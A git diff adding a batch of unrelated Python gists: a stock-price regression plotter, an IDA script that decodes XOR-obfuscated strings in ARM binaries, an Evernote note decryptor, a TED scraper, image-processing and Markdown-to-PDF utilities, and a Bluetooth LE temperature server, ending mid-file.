+        statsmodel_regression = sm.OLS(ols_data, constant).fit()
+        print(statsmodel_regression.summary())
+        if statsmodels_settings.confidence:
+            prstd, lower, upper = wls_prediction_std(statsmodel_regression)
+            return statsmodel_regression, lower, upper
+        else:
+            return statsmodel_regression
+
+
+def plot_regression_line(regression_analyses):
+    """
+    This global method is a front-end to the MatplotLib library which receives a set of regression analyses and plots
+    each one of them onto the canvas.
+    """
+    title = ""
+    fig, ax = plot.subplots()
+    # Plot each regression analysis in the set
+    for regression_i in regression_analyses:
+        ax.plot(regression_i.dates, regression_i.prices, regression_i.color, label="Values " + regression_i.data_set)
+        ax.plot(regression_i.dates, regression_i.regression.fittedvalues, regression_i.color + '.',
+                label="Regression line " + regression_i.data_set)
+        if regression_i.lower is not None:
+            ax.plot(regression_i.dates, regression_i.lower, regression_i.color + '--')
+        if regression_i.upper is not None:
+            ax.plot(regression_i.dates, regression_i.upper, regression_i.color + '--')
+        plot.xlabel('Time')
+        plot.ylabel('Normalized Values')
+        title += regression_i.data_set + ", "
+
+    plot.title('Regression Analysis of ' + title)
+    ax.legend(loc='best')
+    plot.grid(True)
+    plot.show()
+
+
+def investing_example():
+    """
+    This method creates a set of regression analyses based on fundamental trading (revenues)
+    """
+    # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white
+    statsmodels_args_inv = StatsModelsSettings(2, False)
+    quandl_args_inv = QuandlSettings(5, 1, "yearly")
+
+    regressions_inv = [RegressionAnalysis("DMDRN/GOOG_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'b'),
+                       RegressionAnalysis("DMDRN/YHOO_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'g'),
+                       RegressionAnalysis("DMDRN/AAPL_REV_LAST", quandl_args_inv, statsmodels_args_inv, 'k')]
+    plot_regression_line(regressions_inv)
+
+
+def trading_example():
+    """
+    This method creates a set of regression analyses based on technical trading details (price)
+    """
+    # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white
+    statsmodels_args_trade = StatsModelsSettings(1, True)
+    quandl_args_trade = QuandlSettings(350, 4, "weekly")
+
+    regressions_trade = [RegressionAnalysis("GOOG/NASDAQ_GOOG", quandl_args_trade, statsmodels_args_trade, 'b'),
+                         RegressionAnalysis("GOOG/NASDAQ_YHOO", quandl_args_trade, statsmodels_args_trade, 'g')]
+    plot_regression_line(regressions_trade)
+
+
+def economics_example():
+    """
+    This method creates a set of regression analyses based on economics GDP's of the BRICS nations,
+    """
+    # b: blue, g: green, r: red, c: cyan, m: magenta, y: yellow, k: black, w: white
+    statsmodels_args = StatsModelsSettings(1, False)
+    quandl_args_prices = QuandlSettings(15, 1, "yearly")
+
+    # South Africa, China, Brazil, India, Russia
+    regressions = [RegressionAnalysis("WORLDBANK/ZAF_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'b'),
+                   RegressionAnalysis("WORLDBANK/CHN_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'g'),
+                   RegressionAnalysis("WORLDBANK/BRA_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'k'),
+                   RegressionAnalysis("WORLDBANK/IND_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'm'),
+                   RegressionAnalysis("WORLDBANK/RUS_NY_GDP_MKTP_KN", quandl_args_prices, statsmodels_args, 'c')]
+    plot_regression_line(regressions)
+
+
+if __name__ == "__main__":
+    # This main method run the regression analysis program
+    trading_example()
\ No newline at end of file
diff --git a/hard-gists/0d9f91f789f0c523b0e7/._snippet.py b/hard-gists/0d9f91f789f0c523b0e7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0d9f91f789f0c523b0e7/._snippet.py differ
diff --git a/hard-gists/0d9f91f789f0c523b0e7/snippet.py b/hard-gists/0d9f91f789f0c523b0e7/snippet.py
new file mode 100644
index 00000000..6a91d287
--- /dev/null
+++ b/hard-gists/0d9f91f789f0c523b0e7/snippet.py
@@ -0,0 +1,124 @@
+import idautils
+import struct 
+
+def get_type1_xref(ea):
+  for ref_ea in DataRefsTo(ea):
+    # print GetDisasm(ref_ea)
+    if Byte(ref_ea) == 0x78 and Byte(ref_ea + 1) == 0x44:
+      return ref_ea
+  return None
+
+def get_type1_call(ea):
+  next_addr = NextHead(ea)
+  for i in xrange(0, 10):
+    if GetMnem(next_addr) == "BL":
+      return next_addr
+    next_addr = NextHead(next_addr)
+  return None
+
+def get_decode_func_memcpy(ea):
+  next_addr = ea
+  for i in xrange(0, 0x20):
+    if GetMnem(next_addr) == "BLX":
+      func_address = GetOperandValue(next_addr, 0)
+      if GetFunctionName(func_address) == "memcpy":
+        return next_addr
+    next_addr = NextHead(next_addr)
+
+  return None
+
+def read_key(ea):
+  key = []
+  for i in xrange(0, 8):
+    key.append(chr(Byte(ea + i)))
+
+  return key
+
+def main():
+  s = idautils.Strings(False)
+  s.setup(strtypes=Strings.STR_UNICODE | Strings.STR_C)
+
+  hex_str_addr_list = []
+
+  for i, v in enumerate(s):
+    if v is None:
+      print("Failed to retrieve string index %d" % i)
+    else:
+      if (v.length + 1) % 2 != 0:
+        continue
+      # print("%x: len=%d type=%d index=%d-> '%s'" % (v.ea, v.length, v.type, i, str(v)))
+      str_value = str(v)
+      try:
+        str_value = str_value.decode("hex")
+        hex_str_addr_list.append(v.ea)
+      except Exception, e:
+        pass
+
+  for ss_addr in hex_str_addr_list:
+    xref = get_type1_xref(ss_addr)
+    if xref is None:
+      continue
+
+    # print GetDisasm(xref)
+    # next func.
+    next_call = get_type1_call(xref)
+    if next_call is None:
+      continue
+
+    # print hex(xref), GetDisasm(xref)
+    # print hex(next_call), GetDisasm(next_call)
+    # print "-----------------"
+    
+    decode_func_start = GetOperandValue(next_call, 0)
+    decode_func_end = get_decode_func_memcpy(decode_func_start)
+
+    if decode_func_end is None:
+      print hex(decode_func_start), GetDisasm(decode_func_start)
+      continue
+
+    r1_refs = []
+    walker = decode_func_end
+    while walker > decode_func_start:
+      # print hex(walker), GetDisasm(walker)
+      if GetOpnd(walker, 0) == "R1":
+        r1_refs.append(walker)
+        if GetMnem(walker) == "LDR":
+          break
+      walker = PrevHead(walker)
+
+    r1_refs.reverse()
+    if len(r1_refs) == 0:
+      # print "error " + hex(decode_func_start)
+      continue
+
+    # print hex(decode_func_start)
+    t_offset = 0
+    pc_offset = 0
+    t_index = 0
+
+    if len(r1_refs) == 2:
+      t_offset = Dword(GetOperandValue(r1_refs[0], 1))
+      pc_offset = r1_refs[1] + 4
+    elif len(r1_refs) == 3:
+      t_offset = Dword(GetOperandValue(r1_refs[0], 1))
+      pc_offset = r1_refs[1] + 4
+      t_index = GetOperandValue(r1_refs[2], 1)
+
+    key_table = t_offset + pc_offset + t_index
+    # print hex(decode_func_start), hex(key_table)
+
+    key = read_key(key_table)
+    hex_data = list(GetString(ss_addr).decode("hex"))
+    for i in xrange(0, len(hex_data)):
+      hex_data[i] = chr(ord(hex_data[i]) ^ ord(key[i%8]))
+    print hex(ss_addr), "".join(hex_data)
+
+    for i in xrange(0, len(GetString(ss_addr))):
+      PatchByte(ss_addr + i, 0x00)
+
+    for i in xrange(0, len(hex_data)):
+      PatchByte(ss_addr + i, ord(hex_data[i]))
+
+if __name__ == "__main__":
+  main()
+  print "done."
\ No newline at end of file
diff --git a/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/._snippet.py b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/._snippet.py differ
diff --git a/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/snippet.py b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/snippet.py
new file mode 100644
index 00000000..7bf022b1
--- /dev/null
+++ b/hard-gists/0db840f27f1f0fd0747f13ab80d0ca37/snippet.py
@@ -0,0 +1,17 @@
+import requests
+import cv2
+import numpy as np
+
+
+url = "http://192.168.43.1:8080/shot.jpg"
+
+while True:
+
+	img_resp = requests.get(url)
+	img_arr = np.array(bytearray(img_resp.content), dtype=np.uint8) 
+	img = cv2.imdecode(img_arr, -1)
+
+	cv2.imshow("AndroidCam", img)
+
+	if cv2.waitKey(1) == 27:
+		break
\ No newline at end of file
diff --git a/hard-gists/0db858e055cc2bae953b435f5116aaa8/._snippet.py b/hard-gists/0db858e055cc2bae953b435f5116aaa8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0db858e055cc2bae953b435f5116aaa8/._snippet.py differ
diff --git a/hard-gists/0db858e055cc2bae953b435f5116aaa8/snippet.py b/hard-gists/0db858e055cc2bae953b435f5116aaa8/snippet.py
new file mode 100644
index 00000000..56135de4
--- /dev/null
+++ b/hard-gists/0db858e055cc2bae953b435f5116aaa8/snippet.py
@@ -0,0 +1,75 @@
+#!/usr/bin/env python
+
+# Python script to decrypt encrypted ENEX notes exported from Evernote as ENEX
+#
+# This will onle work on notes encypted after 2014 using the "ENC0" format
+#
+# This script requires a modified version of pbkdf2.py to support SHA256
+#  https://github.com/PaulUithol/python-pbkdf2
+#
+# There's no helpful error if your password was incorrect, it will just
+# echo stdin to stdout unchanged
+#
+# This will only decrypt the last encrypted section of the file, if there are
+# multiple sections pipe the output back into the script
+#
+# The encryption method is described by Evernote here:
+#  https://help.evernote.com/hc/en-us/articles/208314128
+#
+# The byte-format of the ENC0 scheme is described here:
+#  http://soundly.me/decoding-the-Evernote-en-crypt-field-payload/
+#
+# 2016-12-18 Lee Maguire
+
+import getopt
+import sys
+import re
+import base64
+import hmac
+import hashlib
+
+from pbkdf2 import PBKDF2
+from Crypto.Cipher import AES
+
+password = b'swordfish'  # It's the name of a fish
+
+keylength = 128
+iterations = 50000
+
+opts, args = getopt.getopt(sys.argv[1:],"hp:",["password="])
+for opt, arg in opts:
+  if opt == '-h':
+    print 'Usage: en-decrypt.py -p <password> < encrypted.enex > decrypted.enex'
+    sys.exit()
+  elif opt in ("-p", "--password"):
+    password = arg
+
+input_text = "".join(sys.stdin)
+c = re.search(r"(?P<head>.*)(?P<crypt1><en-crypt .*>)(?P<b64>.*)(?P<crypt2></en-crypt>)(?P<tail>.*)", input_text, re.DOTALL)
+
+if c:
+  bintxt = base64.b64decode(c.group('b64'))
+  salt = bintxt[4:20]
+  salthmac = bintxt[20:36]
+  iv = bintxt[36:52]
+  ciphertext = bintxt[52:-32]
+  body = bintxt[0:-32]
+  bodyhmac = bintxt[-32:]
+
+  ## use the password to generate a digest for the encrypted body
+  ## if it matches the existing digest we can assume the password is correct
+  keyhmac = PBKDF2(password, salthmac, iterations, hashlib.sha256).read(keylength/8)
+  testhmac = hmac.new(keyhmac, body, hashlib.sha256)
+  match_hmac = hmac.compare_digest(testhmac.digest(),bodyhmac)
+
+  if match_hmac:
+    key = PBKDF2(password, salt, iterations, hashlib.sha256).read(keylength/8)
+    aes = AES.new(key, AES.MODE_CBC, iv)
+    plaintext = aes.decrypt(ciphertext)
+    sys.stdout.write( c.group('head') + plaintext + c.group('tail') )
+  else:
+    sys.stdout.write( input_text )
+    sys.exit(1)
+else:
+  sys.stdout.write( input_text )
+sys.exit(0)
\ No newline at end of file
diff --git a/hard-gists/0e7d366d2e3623c5bb95/._snippet.py b/hard-gists/0e7d366d2e3623c5bb95/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0e7d366d2e3623c5bb95/._snippet.py differ
diff --git a/hard-gists/0e7d366d2e3623c5bb95/snippet.py b/hard-gists/0e7d366d2e3623c5bb95/snippet.py
new file mode 100644
index 00000000..8e122a9d
--- /dev/null
+++ b/hard-gists/0e7d366d2e3623c5bb95/snippet.py
@@ -0,0 +1,24 @@
+import objc
+from Foundation import NSBundle
+
+Security_bundle = NSBundle.bundleWithIdentifier_('com.apple.security')
+
+CMSDecoderRef = objc.createOpaquePointerType("CMSDecoderRef", b"^{CMSDecoder}", None)
+
+functions = [('CMSDecoderCreate',          b'io^^{CMSDecoder}'),
+             ('CMSDecoderUpdateMessage',   b'i^{CMSDecoder}*I'),
+             ('CMSDecoderFinalizeMessage', b'i^{CMSDecoder}',),
+             ('CMSDecoderCopyContent',     b'i^{CMSDecoder}o^^{__CFData}')]
+
+objc.loadBundleFunctions(Security_bundle, globals(), functions)
+
+f = open('Example.mobileconfig.signed', 'rb')
+signed_plist = f.read()
+f.close()
+
+err, decoder = CMSDecoderCreate(None)
+err = CMSDecoderUpdateMessage(decoder, signed_plist, len(signed_plist))
+err = CMSDecoderFinalizeMessage(decoder)
+err, unsigned_data = CMSDecoderCopyContent(decoder, None)
+
+plist_bytes = unsigned_data.bytes().tobytes()
\ No newline at end of file
diff --git a/hard-gists/0ec0c3f5ca69bac2b625/._snippet.py b/hard-gists/0ec0c3f5ca69bac2b625/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0ec0c3f5ca69bac2b625/._snippet.py differ
diff --git a/hard-gists/0ec0c3f5ca69bac2b625/snippet.py b/hard-gists/0ec0c3f5ca69bac2b625/snippet.py
new file mode 100644
index 00000000..cc18c6d6
--- /dev/null
+++ b/hard-gists/0ec0c3f5ca69bac2b625/snippet.py
@@ -0,0 +1,55 @@
+# -*- coding: utf-8 -*-
+
+from __future__ import unicode_literals
+from gevent import monkey; monkey.patch_all()
+
+import re
+from urlparse import urljoin
+
+from gevent.pool import Pool
+import requests
+from scrapy.selector import Selector
+
+
+download_re = re.compile(r'http://download.ted.com/talks/[^"]+')
+
+
+def fetch_page(url):
+    '''1. 웹페이지 다운로드'''
+    r = requests.get(url)
+    return r.text
+
+
+def talk_links_from_listpage(url):
+    '''2. 목록 페이지에서 강의 링크들 추출'''
+    html = fetch_page(url)
+    sel = Selector(text=html)
+    talk_links = sel.css('.talk-link .media__message a::attr(href)').extract()
+    talk_links = [urljoin(url, talk_link) for talk_link in talk_links]
+    return talk_links
+
+
+def talk_from_page(url):
+    '''3. 강의 페이지에서 강의 메타정보 추출'''
+    html = fetch_page(url)
+    sel = Selector(text=html)
+    download_m = download_re.search(html)
+    return {
+        'title': sel.css('.talk-hero__title::text').extract(),
+        'description': sel.css('.talk-description::text').extract(),
+        'download': download_m.group(0) if download_m else None,
+    }
+
+
+def latest_talks(page=1):
+    '''4. 최근 강의 목록 반환'''
+    list_url = 'http://www.ted.com/talks/browse?page={0}'.format(page)
+    talk_links = talk_links_from_listpage(list_url)
+    # talks = [talk_from_page(url) for url in talk_links]
+    pool = Pool(20)
+    talks = pool.map(talk_from_page, talk_links)
+    return talks
+
+
+from pprint import pprint
+pprint(latest_talks())
\ No newline at end of file
diff --git a/hard-gists/0ee6dd444994fd67f63b/._snippet.py b/hard-gists/0ee6dd444994fd67f63b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0ee6dd444994fd67f63b/._snippet.py differ
diff --git a/hard-gists/0ee6dd444994fd67f63b/snippet.py b/hard-gists/0ee6dd444994fd67f63b/snippet.py
new file mode 100644
index 00000000..20e47bd1
--- /dev/null
+++ b/hard-gists/0ee6dd444994fd67f63b/snippet.py
@@ -0,0 +1,32 @@
+import skimage; 
+from skimage import data
+from skimage.filters import threshold_otsu
+from skimage.segmentation import clear_border
+from skimage.measure import label
+from skimage.morphology import closing, square
+from skimage.measure import regionprops
+from skimage.color import label2rgb
+import cv2
+import numpy as np
+import sys
+
+
+
+if __name__ == '__main__':
+	print(skimage.__version__)
+	img = data.imread("garden1.jpg", 1)
+	# img = data.imread("garden2.jpg", 1)
+	print type(img), img.shape, type(img[0][0])
+	thresh = threshold_otsu(img)
+	bw = closing(img > thresh, square(1))
+	cleared = bw.copy()
+	clear_border(cleared)
+	
+	# label image regions
+	label_image = label(cleared)
+	borders = np.logical_xor(bw, cleared)
+	label_image[borders] = -1
+	colors = np.random.rand(300, 3);
+	background = np.random.rand(3);
+	image_label_overlay = label2rgb(label_image, image=img, colors=colors, bg_color=background)
+	cv2.imwrite('Done.png',image_label_overlay*255)
\ No newline at end of file
diff --git a/hard-gists/0efb4d07f28af1c8fc1b/._snippet.py b/hard-gists/0efb4d07f28af1c8fc1b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0efb4d07f28af1c8fc1b/._snippet.py differ
diff --git a/hard-gists/0efb4d07f28af1c8fc1b/snippet.py b/hard-gists/0efb4d07f28af1c8fc1b/snippet.py
new file mode 100644
index 00000000..471eab08
--- /dev/null
+++ b/hard-gists/0efb4d07f28af1c8fc1b/snippet.py
@@ -0,0 +1,263 @@
+# Markdown to PDF Conversion
+#
+# This script converts Markdown markup to PDF directly on your iOS device.
+#
+# Please see the "Requirements" section in the docstring below for required 
+# dependencies and the "Installation" section for instructions on how to
+# install them.
+#
+# Run this script directly or put it into the Pythonista editor action menu 
+# with one of the following options as the first and sole argument:
+#
+# -e     Use the text of the current editor buffer as input
+# -c     Use the file currently opened in the editor as input
+#
+# These two options will use different input if the current editor buffer
+# contains unsaved changes.
+#
+# You can also pass the path of a file to use as input directly as a command
+# line argument. Called without arguments, the script will present a dialog
+# where you can choose either to convert the text from the clipboard, from
+# a URL or the README. 
+#
+"""Markdown to PDF Conversion
+==========================
+
+**Markdown** is a plain text formatting language invented by [John Gruber] [1].
+
+
+Overview
+--------
+
+*Yes, it is possible:* convert Markdown markup text to PDF files on iOS with
+Python - without the use of external apps or a web service. The conversion is
+done *purely* in Python, which means it can be done *offline* and without
+requiring additional paid apps (you need [Pythonista] [2], of course).
+
+The Markdown text is first converted to HTML with [markdown2] [4] and then its
+HTML output is converted to PDF with [xhtml2pdf] [4] and written to a file with
+the given name.
+
+
+Usage
+-----
+
+Here is the most basic code to convert some Markdown text:
+
+    from markdown2pdf import markdown2pdf
+    markdown2pdf('This is a *test*', 'test.pdf')
+
+The Markdown to HTML conversion supports standard Markdown syntax with the
+following extras enabled by default (see the [markdown2] [3] web site for
+more information on these extras):
+
+* fenced-code-blocks
+* footnotes
+* metadata
+* pyshell
+* smarty-pants
+* tag-friendly
+* wiki-tables
+
+To use additional extras or disable some, pass a list of extra names via the
+`extras` keyword argument, which will override the default extras list:
+
+    markdown2pdf(text, 'test.pdf', extras=['code-friendly', 'smarty-pants'])
+
+The appearance and layout of the PDF output is determined by the default CSS
+definitions used by `xhtml2pdf`. You can overwrite the default CSS by passing
+in a string of CSS definitions via the `css` keyword argument. If you only
+want to change certain styles, you can import the default CSS from `xhtml2pdf`
+and add to it:
+
+    from xhtml2pdf.default import DEFAULT_CSS
+
+    DEFAULT_CSS += \"""
+    html {
+        font-family: Arial, Helvetica, sans-serif;
+        font-size: 12pt;
+    }
+    \"""
+
+    markdown2pdf(text, 'test.pdf', css=DEFAULT_CSS)
+
+See the [xhtml2pdf usage guide] [5] for more information on the supported CSS
+properties and page layout directives.
+
+
+Requirements
+------------
+
+The `markdown2pdf` module requires the following Python packages:
+
+* [markdown2] [3] \*
+* [html5lib](http://pypi.python.org/pypi/html5lib) \*
+* PIL or [Pillow](http://python-pillow.github.io/) (optional) \*
+* [PyPDF2](http://mstamy2.github.io/PyPDF2/) (optional)
+* [ReportLab](http://reportlab.com)
+* [xhtml2pdf] [4]
+
+Packages marked with an asterisk are already included with Pythonista. All
+these packages, except PIL / Pillow, are pure-Python code or the included
+C extensions are optional (ReportLab).
+
+
+Installation
+------------
+
+I have created a bundle of all the above libraries, which are not already
+included in Pythonista, as a Zip archive. You have to extract this archive into
+the `site-packages` sub-directory of your Pythonista document folder. You can
+use the following code in the Pythonista console to download and extract the
+Zip archive:
+
+    import os, requests, zipfile
+
+    ZIPFN = 'markdown2pdf.zip'
+    ZIPURL = 'http://chrisarndt.de/projects/markdown2pdf/' + ZIPFN
+
+    with open(ZIPFN, 'wb') as f:
+        f.write(requests.get(ZIPURL).content)
+
+    with zipfile.ZipFile(ZIPFN) as z:
+        z.extractall('site-packages')
+
+    os.unlink(ZIPFN)
+
+You can also download a version of the above script, which also checks the
+integrity of the downloaded Zip file, from this Gist:
+
+[download_md2pdf.py](https://gist.github.com/SpotlightKid/9e03a7823827a1841b6b)
+
+[1]: http://daringfireball.net
+[2]: http://omz-software.com/pythonista
+[3]: https://github.com/trentm/python-markdown2
+[4]: http://www.xhtml2pdf.com
+[5]: https://github.com/chrisglass/xhtml2pdf/blob/master/doc/usage.rst
+
+"""
+
+__author__  = 'Christopher Arndt'
+__version__ = '1.1'
+
+import argparse
+import logging
+import os
+import sys
+import tempfile
+
+from os.path import basename, join, splitext
+
+import console
+import editor
+
+from markdown2pdf import markdown2pdf
+
+
+def make_pdf_filename(fn):
+    return splitext(basename(fn))[0] + '.pdf'
+
+def main(args=None):
+    ap = argparse.ArgumentParser()
+    ap.add_argument('-c', '--current-file', action='store_true',
+        help='Use file currently opened in editor as input')
+    ap.add_argument('-e', '--edit-buffer', action='store_true',
+        help='Use content of current editor buffer as input')
+    ap.add_argument('infile', nargs='?', help='Input file name')
+    
+    args = ap.parse_args(args if args is not None else sys.argv[1:])
+
+    if args.edit_buffer or args.current_file:
+        pdf_bn = make_pdf_filename(editor.get_path())
+
+    if args.current_file:
+        with open(editor.get_path()) as f:
+            md = f.read()
+    elif args.edit_buffer:
+        md = editor.get_text()
+    elif args.infile:
+        pfd_bn = make_pdf_filename(args.infile)
+        with open(args.infile) as f:
+            md = f.read()
+    else:
+        pdf_bn = 'markdown2pdf.pdf'
+
+        try:
+            choice = console.alert('Markdown to PDF', '',
+                'Show README', 'Convert Clipboard', 'Convert URL')
+        except KeyboardInterrupt:
+            return
+
+        if choice == 1:
+            md = __doc__
+        elif choice == 2:
+            import clipboard
+            md = clipboard.get()
+        elif choice == 3:
+            import re
+            import clipboard
+            try:
+                cb = clipboard.get().strip()
+                if not re.search('^(ht|f)tps?://', cb):
+                    cb = ''
+                url = console.input_alert('Enter URL', 'Download Markdown from URL:',
+                    cb, 'Download')
+            except KeyboardInterrupt:
+                return
+            else:
+                import urllib2
+                import urlparse
+                try:
+                    r = urllib2.urlopen(url)
+                except urllib2.URLError as exc:
+                    print(exc)
+                    console.hud_alert("Download error (see console)", 'error')
+                    return
+                else:
+                    md = r.read()
+
+                url = urlparse.urlparse(r.geturl())
+                fn = make_pdf_filename(url.path)
+                if fn:
+                    pdf_bn = fn
+
+    if not md:
+        return
+
+    tempdir = tempfile.mkdtemp()
+    pdf_path = join(tempdir, pdf_bn)
+    console.show_activity()
+    status = markdown2pdf(md, pdf_path)
+    console.hide_activity()
+
+    try:
+        choice = console.alert('Select Ouput', '',
+            'Save to file...', 'Open in...', 'View')
+    except KeyboardInterrupt:
+        return
+
+    if choice == 1:
+        try:
+            filename = console.input_alert("Filename",
+                "Enter PDF output filename\n(will overwrite existing files!):",
+                pdf_bn, 'Save')
+            os.rename(pdf_path, filename)
+        except KeyboardInterrupt:
+            return
+        except (IOError, OSError) as exc:
+            console.alert("Error", "Error writing PDF file:\n\n%s" % exc)
+            return 1
+    elif choice == 2:
+        console.open_in(pdf_path)
+    elif choice == 3:
+        console.quicklook(pdf_path)
+
+    try:
+        os.unlink(pdf_path)
+        os.rmdir(tempdir)
+    except: pass
+
+
+if __name__ == '__main__':
+    logging.basicConfig(level=logging.ERROR)
+    main(sys.argv[1:])
diff --git a/hard-gists/0efb90d998c59d5926ca7f4e79054361/._snippet.py b/hard-gists/0efb90d998c59d5926ca7f4e79054361/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0efb90d998c59d5926ca7f4e79054361/._snippet.py differ
diff --git a/hard-gists/0efb90d998c59d5926ca7f4e79054361/snippet.py b/hard-gists/0efb90d998c59d5926ca7f4e79054361/snippet.py
new file mode 100644
index 00000000..41fb4e28
--- /dev/null
+++ b/hard-gists/0efb90d998c59d5926ca7f4e79054361/snippet.py
@@ -0,0 +1,147 @@
+# Standard modules
+import os
+import dbus
+try:
+    from gi.repository import GObject
+except ImportError:
+    import gobject as GObject
+
+# Bluezero modules
+from bluezero import dbus_tools
+from bluezero import tools
+from bluezero import constants
+from bluezero import adapter
+from bluezero import advertisement
+from bluezero import localGATT
+from bluezero import GATT
+
+# constants
+CPU_TMP_SRVC = '12341000-1234-1234-1234-123456789abc'
+CPU_TMP_CHRC = '2A6E'
+CPU_FMT_DSCP = '2904'
+
+
+def get_cpu_temperature():
+    # return random.randrange(3200, 5310, 10) / 100
+    cpu_temp = 32.0
+    return cpu_temp
+
+def sint16(value):
+    return int(value * 100).to_bytes(2, byteorder='little', signed=True)
+
+
+def cpu_temp_sint16(value):
+    answer = []
+    value_int16 = sint16(value[0])
+    for bytes in value_int16:
+        answer.append(dbus.Byte(bytes))
+
+    return answer
+
+
+class TemperatureChrc(localGATT.Characteristic):
+    def __init__(self, service):
+        localGATT.Characteristic.__init__(self,
+                                          1,
+                                          CPU_TMP_CHRC,
+                                          service,
+                                          [get_cpu_temperature()],
+                                          False,
+                                          ['read', 'notify'])
+
+    def temperature_cb(self):
+        reading = [get_cpu_temperature()]
+        print('Getting new temperature',
+              reading,
+              self.props[constants.GATT_CHRC_IFACE]['Notifying'])
+        self.props[constants.GATT_CHRC_IFACE]['Value'] = reading
+
+        self.PropertiesChanged(constants.GATT_CHRC_IFACE,
+                               {'Value': dbus.Array(cpu_temp_sint16(reading))},
+                               [])
+        print('Array value: ', cpu_temp_sint16(reading))
+        return self.props[constants.GATT_CHRC_IFACE]['Notifying']
+
+    def _update_temp_value(self):
+        if not self.props[constants.GATT_CHRC_IFACE]['Notifying']:
+            return
+
+        print('Starting timer event')
+        GObject.timeout_add(500, self.temperature_cb)
+
+    def ReadValue(self, options):
+        return dbus.Array(
+            cpu_temp_sint16(self.props[constants.GATT_CHRC_IFACE]['Value'])
+        )
+
+    def StartNotify(self):
+        if self.props[constants.GATT_CHRC_IFACE]['Notifying']:
+            print('Already notifying, nothing to do')
+            return
+        print('Notifying on')
+        self.props[constants.GATT_CHRC_IFACE]['Notifying'] = True
+        self._update_temp_value()
+
+    def StopNotify(self):
+        if not self.props[constants.GATT_CHRC_IFACE]['Notifying']:
+            print('Not notifying, nothing to do')
+            return
+
+        print('Notifying off')
+        self.props[constants.GATT_CHRC_IFACE]['Notifying'] = False
+        self._update_temp_value()
+
+
+class ble:
+    def __init__(self):
+        self.bus = dbus.SystemBus()
+        self.app = localGATT.Application()
+        self.srv = localGATT.Service(1, CPU_TMP_SRVC, True)
+
+        self.charc = TemperatureChrc(self.srv)
+
+        self.charc.service = self.srv.path
+
+        cpu_format_value = dbus.Array([dbus.Byte(0x0E),
+                                       dbus.Byte(0xFE),
+                                       dbus.Byte(0x2F),
+                                       dbus.Byte(0x27),
+                                       dbus.Byte(0x01),
+                                       dbus.Byte(0x00),
+                                       dbus.Byte(0x00)])
+        self.cpu_format = localGATT.Descriptor(4,
+                                               CPU_FMT_DSCP,
+                                               self.charc,
+                                               cpu_format_value,
+                                               ['read'])
+
+        self.app.add_managed_object(self.srv)
+        self.app.add_managed_object(self.charc)
+        self.app.add_managed_object(self.cpu_format)
+
+        self.srv_mng = GATT.GattManager(adapter.list_adapters()[0])
+        self.srv_mng.register_application(self.app, {})
+
+        self.dongle = adapter.Adapter(adapter.list_adapters()[0])
+        advert = advertisement.Advertisement(1, 'peripheral')
+        print(self.dongle)
+
+        advert.service_UUIDs = [CPU_TMP_SRVC]
+        # eddystone_data = tools.url_to_advert(WEB_BLINKT, 0x10, TX_POWER)
+        # advert.service_data = {EDDYSTONE: eddystone_data}
+        if not self.dongle.powered:
+            self.dongle.powered = True
+        ad_manager = advertisement.AdvertisingManager(self.dongle.address)
+        ad_manager.register_advertisement(advert, {})
+
+    def add_call_back(self, callback):
+        self.charc.PropertiesChanged = callback
+
+    def start_bt(self):
+        # self.light.StartNotify()
+        dbus_tools.start_mainloop()
+
+
+if __name__ == '__main__':
+    pi_cpu_monitor = ble()
+    pi_cpu_monitor.start_bt()
\ No newline at end of file
diff --git a/hard-gists/0efcacfb43827ba3a6bac3356315c419/._snippet.py b/hard-gists/0efcacfb43827ba3a6bac3356315c419/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0efcacfb43827ba3a6bac3356315c419/._snippet.py differ
diff --git a/hard-gists/0efcacfb43827ba3a6bac3356315c419/snippet.py b/hard-gists/0efcacfb43827ba3a6bac3356315c419/snippet.py
new file mode 100644
index 00000000..0b5649c0
--- /dev/null
+++ b/hard-gists/0efcacfb43827ba3a6bac3356315c419/snippet.py
@@ -0,0 +1,74 @@
+import numpy as np
+import cv2
+
+def getSobel (channel):
+
+    sobelx = cv2.Sobel(channel, cv2.CV_16S, 1, 0, borderType=cv2.BORDER_REPLICATE)
+    sobely = cv2.Sobel(channel, cv2.CV_16S, 0, 1, borderType=cv2.BORDER_REPLICATE)
+    sobel = np.hypot(sobelx, sobely)
+
+    return sobel;
+
+def findSignificantContours (img, sobel_8u):
+    image, contours, heirarchy = cv2.findContours(sobel_8u, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
+
+    # Find level 1 contours
+    level1 = []
+    for i, tupl in enumerate(heirarchy[0]):
+        # Each array is in format (Next, Prev, First child, Parent)
+        # Filter the ones without parent
+        if tupl[3] == -1:
+            tupl = np.insert(tupl, 0, [i])
+            level1.append(tupl)
+
+    # From among them, find the contours with large surface area.
+    significant = []
+    tooSmall = sobel_8u.size * 5 / 100 # If contour isn't covering 5% of total area of image then it probably is too small
+    for tupl in level1:
+        contour = contours[tupl[0]];
+        area = cv2.contourArea(contour)
+        if area > tooSmall:
+            cv2.drawContours(img, [contour], 0, (0,255,0),2, cv2.LINE_AA, maxLevel=1)
+            significant.append([contour, area])
+
